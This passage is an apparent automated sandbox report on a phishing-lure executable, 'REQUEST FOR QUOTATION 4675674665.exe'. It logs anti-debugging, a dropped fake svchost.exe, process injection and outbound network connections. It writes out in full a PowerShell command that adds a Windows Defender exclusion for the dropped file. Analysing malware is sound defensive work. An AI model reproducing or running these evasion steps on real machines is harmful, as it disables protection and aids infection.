Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Thread information set: HideFromDebugger

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process queried: DebugPort
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process queried: DebugPort
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process queried: DebugPort
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Code function: 15_2_06066248 LdrInitializeThunk,

15_2_06066248

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process token adjusted: Debug
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Network Connect: 13.225.80.53 443
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Network Connect: 13.225.80.63 443
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Network Connect: 151.101.2.133 443
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Network Connect: 172.67.179.188 80

Adds a directory exclusion to Windows Defender

Show sources

Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' -Force
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' -Force
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' -Force
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' -Force	Jump to behavior
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' -Force
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' -Force

Injects a PE file into a foreign processes

Show sources

Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe

Memory written: unknown base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c timeout 1	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process created: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process created: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process created: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process created: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 1	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6976 -ip 6976
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6976 -s 2608
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' -Force
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c timeout 1
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process created: unknown unknown
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' -Force
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process created: unknown unknown
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process created: unknown unknown
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 1

Source: REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.930356304.0000000002603000.00000004.00000001.sdmp, explorer.exe, 00000014.00000002.924743341.0000000000BD0000.00000002.00000001.sdmp, explorer.exe, 00000017.00000002.924299157.0000000000FF0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.927013424.0000000000E10000.00000002.00000001.sdmp, explorer.exe, 00000014.00000002.924743341.0000000000BD0000.00000002.00000001.sdmp, explorer.exe, 00000017.00000002.924299157.0000000000FF0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.927013424.0000000000E10000.00000002.00000001.sdmp, explorer.exe, 00000014.00000002.924743341.0000000000BD0000.00000002.00000001.sdmp, explorer.exe, 00000017.00000002.924299157.0000000000FF0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: REQUEST FOR QUOTATION 4675674665.exe, 0000000F.00000002.927013424.0000000000E10000.00000002.00000001.sdmp, explorer.exe, 00000014.00000002.924743341.0000000000BD0000.00000002.00000001.sdmp, explorer.exe, 00000017.00000002.924299157.0000000000FF0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Queries volume information: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Queries volume information: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Queries volume information: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe VolumeInformation
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Queries volume information: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe VolumeInformation
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
